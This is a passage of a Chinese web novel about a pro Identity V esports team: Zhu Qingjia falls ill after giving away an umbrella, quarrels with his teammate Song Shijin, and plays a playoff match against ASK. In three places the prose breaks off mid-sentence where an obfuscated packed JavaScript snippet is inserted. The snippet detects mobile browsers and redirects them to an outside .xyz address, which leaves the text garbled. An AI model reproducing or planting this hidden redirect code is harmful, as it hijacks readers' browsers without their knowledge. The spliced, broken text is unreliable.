祝清嘉觉得没什么必要,超市离俱乐部很近,来回都花不了十分钟,他是真的懒得带伞,嫌麻烦。 于是伞在两人手里推让了一番,最后祝清嘉还是没拗过宋时谨,只好带着伞走了。 祝清嘉买好烟,又顺手捎了两包威化饼干和薯片,全装进袋子里,准备回俱乐部。 从他进超市到买完东西出来,前后至多十分钟,外面居然真的下起了雨。 豆大的雨点噼里啪啦掉下来,看这架势一时半会都停不了,不过祝清嘉觉得这雨也没到需要打伞的程度。 祝清嘉自认身体素质还不错,无论前一天怎么风里来雨里去,回去洗个澡睡一觉,第二天就能满血复活。 再加上他向来活得潦草,出门一不看天气二不看温度,下雨了淋着,降温了冻着,这么多年来也习惯了。 祝清嘉手里捏着宋时谨给他的伞,忍不住在想,这算是在关心自己吗? 祝清嘉一边想一边走出超市,看见不远处有个拄着拐杖的老人,没打伞,就这么不紧不慢地走在雨中。 他快步追了上去,伞稳稳地撑在两人头顶。 “奶奶,您一个人回去吗?这雨有点大,您住在附近的话,我顺道给您送回去吧?” 奶奶花白的头发盘在脑后,说话时中气十足,显得整个人精神头很好:“不用,我散步走到这儿的,自个儿回去就行。” “这哪成呀?雨这么大,等下着凉了怎么办?” “那不会,”奶奶摆了摆手,又抬步走进了雨幕中,“我心里有数。” 祝清嘉忙跟了上去,他想了想,索性把伞柄递到了老人家手里:“那您打着伞回去吧!” 老奶奶睨着他:“那你怎么办?” 祝清嘉指了指对街,笑道:“我家就在那边,跑回去就行了。” 老奶奶上下打量着祝清嘉,摇了摇头,把伞还给了他:“你这小身板,一看就经不住折腾。现在年轻人的身体素质都不行,还不如我呢。” 祝清嘉莫名被人小瞧了,自然不服气:“其实我很强壮的,淋点雨真没事。您就收下这把伞吧,否则我得难受一整晚。” 在祝清嘉的坚持下,奶奶最终还是接过了他的伞,走之前她用拐杖敲了两下地面,说:“小伙子别不信邪,你这身子骨一看就没我硬朗,回去病一场就老实了,到时候可别怪我没提醒你。” 祝清嘉只当是老人家不服老,并不当真,甚至觉得这奶奶还挺有个性的。 回到俱乐部时,古道热肠的祝清嘉浑身湿答答的,淋了雨又吹了风,一连打了两个喷嚏,但他没放在心上。 他飞快地跑上楼,如同少年时候那样,在回家的路上碰到了好玩的人或者事,很急切地想和宋时谨分享。 “你知道吗?我刚才在——” “你的伞呢?” 祝清嘉推开宿舍的门,两个人几乎同时开口,又同时陷入了沉默。 话还没出口就已经落到了地上。 宋时谨也不是有意想打断祝清嘉的话,他默然一会,又问:“你刚才想说什么?” 可是祝清嘉已经没了把话题继续下去的兴致,他把买来的东西放到自己的桌上,说:“没什么,我洗澡去了。” 这个瞬间,祝清嘉慢慢意识到,他现在和宋时谨不尴不尬的,早就不是以前那种屁大点事都能叨叨半天的关系了。 祝清嘉进浴室洗了个热水澡,莫名觉得有点疲惫,早早地上床休息了。 半夜祝清嘉睡得迷迷糊糊的,隐约觉得身上有些发热,于是他身体做出了一个本能的反应,一脚把被子踹开了。 听到“扑通”一声闷响,祝清嘉脑子清醒了一点,身子却没醒,只知道被子掉到地上了。他这下又觉得冷了,整个人在床上缩成了一团,试图抱着自己取暖。 没过多久,祝清嘉又觉得被子重新回到了身上,被角还掖实了。 祝清嘉彻底失去意识,昏睡了过去。 不知道过了多久,祝清嘉半梦半醒间听到有人在叫自己的名字,但听不清楚,他下意识皱了皱眉心,呼吸微促。 下一秒,他感觉有一只手轻轻覆过自己额头,触感清凉,干净好闻的气息若有似无地扫过鼻尖。 在收回的前一瞬,祝清嘉伸手捉住了那人的手腕,睁开了眼。 宋时谨站在床边,他个子高,视线恰好和躺在床上的祝清嘉齐平。 两个人挨得很近,祝清嘉心中警铃大作,瞬间清醒了不少。 “你干嘛?”开口时嗓音是哑的。 宋时谨任由他抓着自己的手,看着他的眼睛说:“你发寒热了,知道吗?” 祝清嘉终于反应过来,松开了手,但整个人还处于一种很懵逼的状态,只觉得自己脑瓜子很疼。 宋时谨转头出去了,再回来时带着一只体温计,甩了甩,递给祝清嘉:“夹腋下,十分钟。” 量体温的时候,祝清嘉脑子里晕乎乎地想了一堆东西。 比如他现在发烧了,那今天下午的比赛该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872766|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办?会影响到比赛的状态吗? 又比如说,居然真的被昨天那个奶奶说中了,这就是不听老人言吃亏在眼前吗? 十分钟后,宋时谨问他要体温计,祝清嘉莫名有点心虚,磨蹭着不想给他看。 “你给我,或者我自己拿,你看着办。” 说完,宋时谨真的把手往他被子里伸。 祝清嘉手忙脚乱地把体温计拿出来给他。 “三十八度五,”宋时谨垂眸看着体温计上的读数,说话的语气比他的手还凉,“我昨天不是让你带了伞?为什么还是淋着雨跑回来的?你的伞呢?” 宋时谨的语气实在算不上友好,甚至隐约带上了一些不易被觉察的情绪。 人在不舒服的时候总是比平时敏感,祝清嘉本来是想好好和他解释一下的,这下也没这个心思了。 “扔了。” “为什么?就因为是我给你的?所以你宁愿淋着雨跑回来也不愿意用吗?” 祝清嘉这会头脑发胀,难受得很,心里还惦记着下午的比赛。他被宋时谨问得心烦意乱,索性顺着他的话说:“对。” 话音落下的瞬间,祝清嘉就有点后悔了。 得到肯定的答案后,宋时谨良久没有说话,只是很沉静地看着他。 目光落在祝清嘉身上,好似很轻,又好似有千钧之重。 他说:“你就恶心我到这个程度,是吗?” 祝清嘉并不知道该怎么回答这个问题,就只是盯着宋时谨,时间仿佛在这一刻静止。 良久。宋时谨垂下了视线,黑如鸦羽的睫毛遮住了他眼底的情绪。他点点头,说了声“行”,然后转身离开了宿舍。 祝清嘉没想到宋时谨会是这个反应,也不知道他究竟在“行”些什么。 他看了眼时间,十二点有开幕式,最迟十点就要到比赛场馆,留给他洗漱的时间已经不多了,于是他动作麻利地爬下床。 冷水浇在脸颊上,祝清嘉感觉整个人舒服多了。 事实上他打小体质就很好,很少有什么头疼脑热,祝清嘉确实没有料到,只是前一天淋了点雨,居然真的发烧了。 下楼时,祝清嘉听到宋时谨在和经理说话,祝清嘉脚步一顿,没直接走下去,靠在楼梯的扶手上,偷听他们讲话。 宋时谨的声音说:“知秋的宿舍里是不是还有个空床位?” 九万不明所以:“是有,怎么了?” “你让阿姨收拾一下吧,晚上回来我换宿舍。” “啊?”九万简直懵了,“为什么?你和清嘉闹矛盾了吗?之前一个月不都住得好好的,怎么忽然想换了?” 宋时谨那边安静了好一会,才说:“住不惯。如果在一起让他这么为难的话,那就分开吧。” 九万根本听不懂宋时谨在说什么。什么在一起什么分开,让你们当舍友怎么搞得好像让你们谈恋爱一样啊。 但他本能地想尽到自己身为经理的职责,很勉强地追问:“到底发生什么事了?你们吵架了吗?有什么需要我调解的地方吗?” 宋时谨张口,正想说些什么,就看见祝清嘉下了楼,于是他又闭上了嘴。 九万也注意到了,正想仔细问问情况,却发现祝清嘉的状态肉眼可见的糟糕,他不免忧心道:“清嘉没事吧?脸色怎么这么差。” 祝清嘉牵起嘴角,勉强笑了下:“没事,就是有点发烧。” 九万刚想问多少度,就听宋时谨那把冷若寒霜的嗓音:“有点发烧,三十八度五。” 九万一觉醒来天塌了:“啊?怎么烧这么高?我去给你拿点退烧药?” 祝清嘉摇头拒绝:“下午还有比赛,现在吃退烧药等会就该犯困了,烧着起码脑子是清醒的。” 去比赛场馆的路上,车里难得安静,大家知道祝清嘉身体不舒服,都没说话打扰他休息。 祝清嘉阖着眼,歪着脑袋靠在车窗上,却并不觉得困,一直在想今天早上的事。 宋时谨现在应该是,真的生气了吧? 平心而论,宋时谨脾气还算不错,以前关系好的时候,无论祝清嘉怎么无理取闹,都没见他真的恼过。 祝清嘉来俱乐部一个月的时间里,在他面前各种作死,主动挑衅也好、故意疏远也罢,宋时谨也都没有生气,情绪简直稳定得可怕。 祝清嘉又转念一想,也是,毕竟今天是季后赛,这么重要的时候自己掉了链子,对他的态度又这么差,宋时谨作为队友生气也是应该的。 而且他来到PUZ的目的,不就是想给宋时谨找不痛快的么?这是他最成功的一次,却并没有感到有多快意。 他自己都说不出是什么原因。 祝清嘉的状态看起来与往常无异,甚至化妆的时候还在和一旁的钟情说笑,只是脸色和唇色比平时苍白一些。 所谓开幕式,就是进入季后赛的每支战队轮流上台,喊喊口号,根据彩排时的流程走一遍过场,很快就结束了。 季后赛正式开赛,首场比赛是败者组的两支战队,PUZ的比赛在第二场,众人开幕式结束后回到了备战间,做最后的赛前调整。 祝清嘉跟在队伍的末尾,进备战间前,恰好看到ASK的队员迎面走来。 Link正在和身边的队友说话,并没有停下脚步,只是在两人擦肩而过的那个瞬间,向祝清嘉挑了一下眉。 14. bo1上 备战间里暖气开得很足,祝清嘉有点困,但是他不知道败者组的比赛什么时候会结束,不敢真的睡着。 九万去给他买了退烧贴,顺便带了点饼干面包回来:“清嘉吃点儿东西吧?早饭就没吃,别等下打一半晕过去了。” 祝清嘉正在和梧桐发消息,他刚想说不至于,自己身体挺好的,然后就意识到真的身体好现在就不会病得浑身难受了。 但他没什么胃口,看到吃的有点犯恶心,要是等下在台上吐了那可就太精彩了。 祝清嘉绝对不允许这种事情发生,于是果断拒绝了。 下一秒,他感觉有人拍了拍自己的肩膀。 祝清嘉立刻扭过头,看到想念向他摊开手,掌心里是两颗奶糖:“哥,吃点糖吧?等下低血糖就麻烦了。” 祝清嘉接过糖,说了声谢谢,拆开一颗含进嘴里。他腮帮子微微鼓着,边吃糖边偷瞄宋时谨在干嘛。 宋时谨还是低头看手机,根据他划拉手机的频率和速度来判断,肯定不是在刷短视频或者聊天,估计是在看论坛。 祝清嘉想不通了。 这个破论坛到底有啥好看的? 用膝盖想都知道,现在论坛上肯定没两句好话。这人宁可赛前刷论坛搞自己心态,都不知道来关心一下队友。 经理跑了好几里路买了退烧贴回来,钟情一路上嘘寒问暖没停过,平时话最少最沉默的想念给他塞了两颗糖,就连化妆师小姐姐看他今天状态不好都多问了几句。 只有宋时谨,完全不在乎他的死活。 祝清嘉生了个莫名其妙的闷气,给自己气精神了,睡意一扫而空,他恨不能现在立刻上场把Link暴揍一顿出气。 败者组的两支战队实力旗鼓相当,硬生生打到了bo6,轮到PUZ上场时都快四点了。因为两支战队人气都非常高,直播间里的弹幕数量肉眼可见地迅速增加。 【败者组终于结束了,简直折磨。】 【我看困了。还好没抢到总决赛的门票,否则现场坐牢。】 【一想到这两支战队必须赢一个,我就浑身难受。】 【宝宝们ASK和PUZ就在后台,让我们用掌声把他们请出来好吗?】 【七生七世我们来了。ASK[爱心]PUZ。】 今天的赛前喊话原定人选是祝清嘉,事实上他还欠了宋时谨一次喊话,不过经理考虑到他状态不佳,临时换成了宋时谨。 宋时谨从后台走出来,接过了主持姐姐手中的话筒,抬眼看向镜头,脸上没有一丝多余的表情:“我会全力以赴的。” ——其实宋时谨每次喊话说的都是这句,宛如什么ai提前设定好的程序,但观众席上的粉丝依旧很捧场。 有个小姐姐超大声地喊宋时谨的id,嗓门大到被解说席上的麦克风收录进去了。 解说甲:“还没开赛就已经感受到现场观众们的激情了。” 解说乙调侃:“感觉下次喊话辛西娅都不用开口,只需要往那一站,我们观众已经能自动脑补出他的声音和要说的话了。” 解说甲也打趣道:“有的人往那一站就是个入机。好的,接下来我们把镜头给到ASK——” 镜头切换。 Link生了一张娃娃脸,鼻梁上架着黑色的圆框眼睛,看起来格外乖巧:“清嘉哥哥。听说你很难追,我今天就来试试,你到底有多难追。” 话音落下,现场瞬间响起一片意义不明的起哄声。 这个环节本来就是赛前放狠话,理论上只要不骂脏话不人身攻击,挑衅和嘲讽对手都是在允许范围内的。 但几乎没有哪个选手会真的上来放狠话,毕竟等会比赛要是输了,尴尬的就是自己。 所以现在这个环节基本就是整活,或者双方选手的赛前友好互动。 Link此言一出,霎时在直播间里掀起了轩然大波。 【啊啊啊啊啊林柯宝宝好帅,妈妈爱你!!!】 【???】 【不对劲,是我打开的方式不对吗?林柯今天怎么不喊话辛西娅了??】 【众所周知,Link赛前喊话的内容可以大致分成三类:对话辛西娅、表白辛西娅、向辛西娅示爱。】 【为什么只cue清嘉?他是在开玩笑吗??这俩人不熟吧??】 【不知道看不懂。趁乱捡一口cp。大三角我大吃特吃。】 …… 备战间里,大家都听到了Link的喊话内容。 钟情惊呆了:“我靠,他今天怎么不表白我娅宝了?这就有新欢啦?” ——而且新欢还是队里新来的求生首发。 当然这话他没来得及说出口,就被九万警告地剜了个眼刀。 毕竟祝清嘉还是个赛场新人,今天又是带病上场,九万担心他因为Link的喊话感到压力。 意料之外的,祝清嘉面对Link的挑衅,反应比九万预想的要平静很多。 主要是祝清嘉还没和Link正面交锋过。 两人排位端口不同,排不到一起,常规赛结束的这半个多月以来,九万联系过几次ASK经理,想约训练赛,但是都被拒绝了,说是不想在季后赛前暴露实力和战术。 说白了就是压根没把PUZ放在眼里。 祝清嘉也不知道自己能不能打得过Link,于是任何情绪都只能留到比赛结束后再说。 工作人员来备战间确认首发信息,今天是ASK的主场,第一局ASK选图,PUZ选边,知秋惯例是让宋时谨先上。 解说依次介绍完双边选手,比赛很快进入了Ban&Pick的环节。 解说甲:“PUZ禁用了月亮河公园,而ASK这边选出了里奥的回忆,这是准备和PUZ正面硬拼歌剧了。” 解说乙点头:“所有人都知道,Cynthia的歌剧练得出神入化,但Link的歌剧场均淘汰同样很惊人。” 季后赛是bo5赛制,每一局前两个选出的求生者角色会进入全局禁选。 PUZ这边前两手很常规地禁用了佣兵和古董商。 ASK几乎是秒锁了入殓师和冒险家。 备战间里,钟情忍不住道:“我靠,他们这个bp太犯规了吧?冒险家入殓师全选出来了,这才bo1啊!” 这两个角色的强度都不高,白板脆皮很难牵制监管者,但是在跑一个就赢的局里,往往可以凭借角色机制发挥奇效。 冒险家自身可以缩小,溜不动你没关系,至少我可以躲着你,挖书页还不怕监管者控电机。 入殓师更是公认的保平利器,开局携带一个棺材,倒地后可以返生自救,即便秒倒了也不会耽误电机进度。 冷落秒懂了这个bp的意图:“打不过就玩赖的,他们压根就没想着要赢,不被小娅四抓就行了。” 如果人队后上,在自家监管选手有大优势的情况下,这种打法是没问题的,稳定保分拿下大局。 但这一局求生是先上的。 这个bp简直默认了Link能四抓PUZ人队。 祝清嘉感到非常不爽,心想你们等下被宋时谨四抓了就老实了。 bp还在继续,知秋紧接着禁用了先知和空军。 ASK则选出了野人和调酒师。 求生的阵容确定后,宋时谨锁下了歌剧演员。 ASK的教练和PUZ是老对手了,对这支战队风格非常清楚,他站在选手身后,做最后的赛前指导:“最最最重要的一点,你们不用尝试突破辛西娅,只要别被他四抓,相信Link可以拿分。” “一定要在前期把辛西娅按死,如果真的拖到bo5,他的角色池太恐怖了。” ASK的队长对此深以为然。 双方教练握手,正式进入比赛画面。 祝清嘉在备战间里看现场直播。 宋时谨的技能带了失常,其实没问题,对面选出的角色都不具备牵制歌剧演员的能力,不需要闪现协助追击。 那现在最大的问题在于,宋时谨这一局抓得能有多快。祝清嘉看着正在木屋挖书页的冒险家,隐隐有一种不妙的预感。 入殓师本身没有任何自保的手段,在歌剧强大的追击能力面前脆得像一张白纸,开局窗弹板弹交完就吃了第一刀。 歌剧失常cd刚好没多久,入殓师就倒地了。 备战间里瞬间响起了掌声。 钟情更是原地蹦了起来:“杀得好快!我看是谁敢对我娅神不敬!!” 想念:“外面电机加起来堪堪一台半,娅哥手里还有个失常。” 所有人的关注点都在宋时谨开局的速杀上,只有祝清嘉从头到尾都在盯着中场那台电机的进度。 宋时谨把入殓师牵到了大房外的狂欢之椅上,挂上的瞬间,冒险家挖出了自己的第一个书页,而中场电机的进度刚好到五十。 解说甲:“Cynthia的视角一直在往中场看,他真的很急切地想踹掉中场这台电机! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872767|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 解说乙:“歌剧都快贴脸了,但是调酒师应该是猜到了他的技能,完全没松手,还在修机!冒险家正在赶来的路上,来得及吗?!” 失常有一个踹电机的前摇动画,动画结束后密码机的进度才会回退。就在这两秒短暂的技能前摇中,冒险家交出了手里的书页,修开了这台密码机! 电机被点亮的瞬间,宋时谨极轻极快地“啧”了一声。他的声音在周围嘈杂的环境中几乎微不可闻,却又如此清晰地传到了祝清嘉的耳边。 备战间里是可以听到台上的选手说话的,但是屠夫是一个人的游戏,不像求生有需要交流沟通的队友,耳机上挂着的麦克风只是起到一个造型上的作用。 祝清嘉心说,他现在肯定在想,如果刚才不挂人,先来踹电机就好了。 宋时谨本来是想直接回头,去大房找返生的入殓师,但调酒修开电机后没走,甚至还站在原地做动作,给宋时谨跳了个舞。 宋时谨没忍住,A了调酒一刀,逼了调酒师的一瓶回血酒,才回去找入殓师。 钟情“哇”了一声:“我受不了了,这调酒师贱了吧唧的,修开了就修开了呗,还非要做动作嘲讽一下,有病吧!” 冷落也惋惜:“好可惜,就差一点,如果这台机子踹掉,对面的节奏就彻底崩了。” 知秋从开局就没说过话,注意力一直放在对局上,直到现在终于开口,问:“你们注意到了吗?调酒师开局就交了加速酒,和中场的野人换位修的这台电机。” 想念这才注意到右边的道具栏里,调酒师只剩下一瓶酒了:“他们这是不惜一切代价,也要把这个失常闷掉啊……” 知秋点头:“他们一开始就猜到辛西娅会带失常,这波确实是被他们拿捏到了。” 宋时谨再次击倒了入殓师,入殓二挂上椅,歌剧影跃往外压,想踹野人的电机,但是很快也被冒险家用书页补开。 宋时谨只好回溯到椅下,专心守椅。野人把人救下来后,直接骑猪逃跑,不给一点机会,入殓师搏命红圈跑到了地图最角落,硬拖时间。 地图的另一边,野人找调酒师喝了回血酒,补满了自己的状态。至此,调酒师手中的三瓶酒全部交完,原地摸了个盒子补充道具。 解说甲:“调酒师运气非常好,摸出了一个遥控器,刚好可以用娃娃补开大门废墟的遗产机。” 解说乙:“歌剧挂飞入殓就马不停蹄地奔向了大门,还是那个问题,能来得及吗?!感觉还是可以刚好修开?” 解说甲:“——真的修开了!Cynthia千里迢迢地从小门跑到大门,看到这一幕天都塌了,怎么是个娃娃在修机?” 解说乙:“此时此刻歌剧的心态发生了一点微妙的变化。这把打得太憋屈了,外面三台密码机修开,手里的失常都没能用出来,剩下两台机也都在修了,全员都是满血,节奏还不一定好续。” 宋时谨无奈,只好出去大致排了一下场上三人都在什么位置,然后果断底牌切传送,落地把调酒师秒了,挂在了遗产机。 然而没什么用,ASK多修了一台,冒险家缩小贴到椅子附近卡耳鸣,外置位的野人直接修开电机,去点门了! 解说甲有点意外:“啊??这波ASK是决定不救人了吗?直接把脸上的调酒师和冒险家全卖了?” 解说乙分析道:“他们肯定是有自己的考量。冒险家是没大心脏的,救一波,歌剧下一个传送的cd就拖好了,这个开门战很有可能会被四抓——所以不如直接修开,稳定能跑一个。” 解说甲随即反应过来:“而且地窖就在附近,搞不好冒险家还能偷偷摸摸走个地窖!不过Cynthia可是出了名的会找冒险家,没有冒险家能在他身边躲过二十秒——” 因为没有人干扰耳鸣,宋时谨排人的功夫确实炉火纯青,只花了二十秒就确定了冒险家的位置,可以说是找得非常快了,但也足够野人点开大门。 击倒冒险家后,他在原地留了个残影,传送到大门,目送野人离开庄园,冒险家投降,bo1上半场结束。 宋时谨回到备战间,虽然刚才被ASK的流氓bp针对得很惨,但他面上依然没什么情绪。 队友七言八语地和宋时谨说辛苦了,换平时的话,祝清嘉也会附和一声厉害或者打得好。 但是今天出门前两个人才吵过架,现在祝清嘉不是很想主动跟他说话。 双边阵营轮换,轮到人队上场,祝清嘉跟在队友身后,上台落座。 15. bo1下 季后赛现场的观众比常规赛时多了几倍,热烈长久的欢呼声近乎震耳。 祝清嘉加入联赛的时间虽然只有短短的半个多月,但因为原本粉丝基数就很庞大,台下他的应援牌的数量相当可观。 这种感觉真的很奇妙。 祝清嘉往年也会来季后赛现场,不是作为选手,而是作为官方特别邀请的嘉宾解说。 但是站在解说席上,和真正站在赛场上的感觉是截然不同的。 戴上耳机的瞬间,周围所有的环境音都被隔绝,只能听到白噪音、队友试麦的声音、和游戏里的音效。 调试好设备和麦克风,比赛进入BP阶段。 对面禁用了古董商和冒险家。 知秋抢了囚徒和园丁,这两个角色都具有一定的牵制能力,而且不算太值钱,进了全局禁选也不心疼。 ASK再次ban掉了先知和野人。 PUZ这边锁下了佣兵和空军,补上了稳定的救援和控制。 按照知秋的bp,祝清嘉的囚徒和想念的空军天赋都带了双弹飞轮,钟情的园丁搏命大心脏抗压。 求生方阵容和天赋确定后,Link锁了歌剧演员。 区域选择环节。大房囚徒、中场空军、木屋园丁、集装箱佣兵,歌剧选在了两板一窗的位置。 进入游戏,祝清嘉开局蹲下系鞋带,连上了园丁和佣兵的电机,起心跳后上二楼拉点,他在麦里报点:“大房抓我,木屋地下室。” 钟情:“得嘞,嘉宝放心溜,我们外面电机嘎嘎快。” 祝清嘉翻过大房二楼的窗口,蹭窗弹转到了大房地窖点的板区。 Link的歌剧熟练度同样很高,几次影跃后,两人之间的距离被迅速拉近。 眼看身位不够他转进下一个板区,祝清嘉手里捏着电,想交电补距离进板。 看到歌剧出刀的瞬间,祝清嘉的脑子其实已经意识到这波反应慢了,现在交电已经迟了,这刀要给了。 但是他手还是下意识地按到了电上。 监管者的擦刀动作是会被求生者技能的控制效果替换的,囚徒的电一秒不到的短暂眩晕后,歌剧重新影跃跟上,身位可以说是一点都拉不开。 只靠受伤加速来不及转到其他板区,祝清嘉只好在原地的一块小短板旁垂死挣扎。 这在职业赛场上算是非常低级的失误了,取消擦刀的瞬间,全场寂静了一秒,然后爆发出一阵惊呼。 解说甲:“Viola这个电捏得太死了啊!现在囚徒的点位很差,只能寄希望于这波短板博弈了。” 解说乙:“但是歌剧演员根本不怕短板博弈,Link反复试探把这块板子骗下来了!Viola贴板不翻,想骗歌剧提前出刀,但是Link很稳,根本不吃这一套,你不翻我就不出刀。” 解说甲看了眼游戏时长:“这局的击倒节奏和上一局几乎一样,而且Link携带的也是失常。” 解说乙:“虽然击倒的速度相近,但是电机进度截然不同。囚徒可不能自己救自己,他得等佣兵来救援。而且中场是佣兵四十多的遗产机——” 话音落下的瞬间,Link把祝清嘉挂到了大房外的狂欢之椅上,然后用失常回退了佣兵四十多的遗产机。 现在场上电机加起来,才堪堪一台多,节奏有点爆炸了。 冷落的那台电机反正横竖都是要被踹掉的,干脆多卡了一会血线。 祝清嘉愧疚道:“对不起,我的,没溜好。” 冷落马上安慰:“没事没事,这东西是不好溜的。” 钟情正在激情修机,在百忙之中抽空附和道:“就是就是,第五人格策划看看你设计的什么角色!强度太变态了。” 想念:“支持削弱。” 虽然一溜秒倒了,但祝清嘉心没乱,他冷静地分析了场上的局势,重新整理好了牵制思路。 Link带的是失常,没有闪现的压力,佣兵救下来有搏命,现在这个点位很差,没什么牵制的空间,但是可以等空军二救。 二救下来,囚徒电的cd好了,手里还有个飞轮,还有操作的机会。 冷落卡半把人救下来,祝清嘉搏命往角落倒,想念的空军修开了自己的电机,提前贴过来救援。 救下来后,空军在歌剧擦刀动作结束前,稳稳开出了自己的枪,让祝清嘉有足够的身位转进大房。 祝清嘉窗弹板弹一起用,但是以歌剧的移速要追上来并不是难事,两人的身位再次被拉近。 祝清嘉只好在大房外的双板区周旋了一阵,这两块板就算是歌剧也必须踩一块,趁着歌剧踩板,祝清嘉转去了两板一窗前的板区。 但这块板区并不算什么强势点位,祝清嘉思路清晰,很快地做出了判断—— 这波想活必须博弈到一个砸板。 解说甲:“感觉囚徒撑不了太久了,场上电机堪堪两台半,如果现在被击倒挂飞,依然是歌剧的优势节奏,而且歌剧的下一个失常快好了。” 或许是解说甲这一口毒奶的功劳,居然真的把囚徒奶活了。 祝清嘉赌了一把,反向飞轮,用自身模型把想打过板刀的歌剧卡在了板子中间,然后砸板! 解说乙几乎是脱口而出:“漂亮的博弈!囚徒趁着歌剧砸板眩晕,转进了两板一窗。这个点位歌剧就没那么好处理了呀。” Link两次博弈回溯,都没能击倒祝清嘉,操作肉眼可见地有点急了。 外面没有花时间补状态,三个人同时抢电机,电机掉得飞快。 Link意识到节奏不对,不想和祝清嘉再耗下去了,果断底牌切闪现击倒了囚徒。 在祝清嘉取消擦刀的时候,几乎所有人都觉得这是板上钉钉的四抓局,但是祝清嘉一波天秀三溜,逼出了技能,场上电机也只剩下一台半了。 似乎又有了平局的可能。 Link挂飞囚徒后,找大房里的半血空军续上了节奏,但是他击倒空军后,场上电机只剩下最后半台了。 这下队内就面临一个抉择,他们可以效仿ASK上一局的决策,直接修开电机,卖队友走一个,但是去救的话其实是有机会平局的。 钟情问:“怎么样冷队?要救吗,念宝没大心脏的。” 想念补充:“飞轮cd50秒。” 冷落想了想,指挥道:“救。歌剧手里是个闪现,园丁还有搏命,没救好大概率也能走一个,救好了咱保平就拿下大局了。” 谁都没想到,这一救还真救出事了。 空军没大心脏,救下来秒吃刀,但是好在有个搏命,两个人分开跑就行。 Link打了一刀后就没管空军,直接闪现击倒了园丁,然后利用影跃赶到了小门。 ——因为他们这局的最后一台电机是角落地窖点的那台,佣兵修完机交出了手里的最后一个护腕去点门。 但还是歌剧更快一步,赶到了小门。 好消息佣兵是满血,可以吃歌剧一刀斩的伤害,但是Link出刀的位置非常巧妙,擦刀的时候卡在了门中间。 门虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872768|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然点开了,但是被歌剧自身的模型挡着,佣兵挤门未遂,被留在了庄园里。 解说甲:“这下情况有点糟了。但是一个人在大房卡着,另一个人去点大门,应该还是能跑一个的。” 解说乙:“但是Link这波排点像开了一样!他怎么知道空军蹲在大房外面的?Miss刚才是先起来的,Link知道他没自愈,直接不管他去找园丁了!” 解说甲:“园丁现在回去救也不是,头铁点门也不是,直接尬住了。歌剧在椅子附近没排到耳鸣,大胆往外压了!” 佣兵被挂飞,钟情想偷偷绕回小门,直接出门,但在木屋的位置被歌剧当场逮捕。 Link把园丁挂上椅,又花了点时间找到了倒地状态的空军,至此游戏结束,被四抓了。 ASK拿下了第一个大局,比分6:3。 祝清嘉摘下耳机的时候,听到解说还在分析刚才的三人开门战,台下掌声雷动,热烈的欢呼声献给了刚才完成四抓的Link。 回到备战间的时候,冷落还在复盘刚才的开门战:“哎,我的我的,不应该让想念卡在那个位置的,风险太大了,往远处卡一点稳走一个的。” 想念的情绪难免有点低落:“开门战的时候没溜好。对不起。” 知秋安抚了一下队员情绪,又简单复盘了一下刚才开门战的问题。 bo2。PUZ选图,ASK选边。ASK自然让手感火热的Link先上。 刚才比赛的时候肾上腺素狂飙,祝清嘉差点忘了自己还在发烧,这会下场缓了口气,只觉得浑身上下疼得快散架了。 中场休息的时间非常短,祝清嘉回到备战间,只来得及匆匆喝了点水,就又被工作人员催着上台了,知秋依然在复盘上一局的细节问题,但是祝清嘉难受得根本听不进去。 队友们先后离开了备战间,祝清嘉想跟上去,起身的时候急了一些,没站稳,脚底踉跄了半步。 然后被宋时谨眼疾手快地扶住了。 祝清嘉茫然了一会,没挣开。 因为化了妆的缘故,祝清嘉的状态看起来和平时没什么区别,细看才会发现他额头沁出的一层冷汗。 然后宋时谨抬手,在祝清嘉困惑的目光中,用袖口擦去了他额角的汗。 柔软的布料划过皮肤,祝清嘉身形一僵,当场愣在了原地。 他忽然没由来地想起来,以前高中的时候。 两个人同校不同班,宋时谨周一到周四比其他班多一节课。 宋时谨很多次表示,放学后他先走就行,但祝清嘉大部分时候都会等他放学,然后一起回家。 倒也不是祝清嘉多想和他一起走,就是有时候同学来找他打球,打完球刚好宋时谨下课,两个人顺理成章地肩并肩回去。 夏天难免会出一身汗,这时候如果祝清嘉挨着宋时谨走,就会被很嫌弃地推开。 祝清嘉忍不住犯贱,他越嫌弃就越要贴贴,当时宋时谨是怎么说的?如果你敢把汗蹭到我身上,那我们就原地绝交。 这人以前不是很爱干净的吗?现在真的绝交了,怎么又无所谓了? 或许时间是最好的调味品,它给原本寡淡的瞬间赋予了酸甜苦咸的各种味道。 祝清嘉莫名鼻尖有点发酸,他想说自己真的好难受,刚才bo1没有发挥好,Link那小子估计正在备战间里嘲笑自己的下饭操作。 就在祝清嘉准备开口的时候,宋时谨收回了手,淡声道:“不要被bo1的赛果影响心态,好好打吧。” 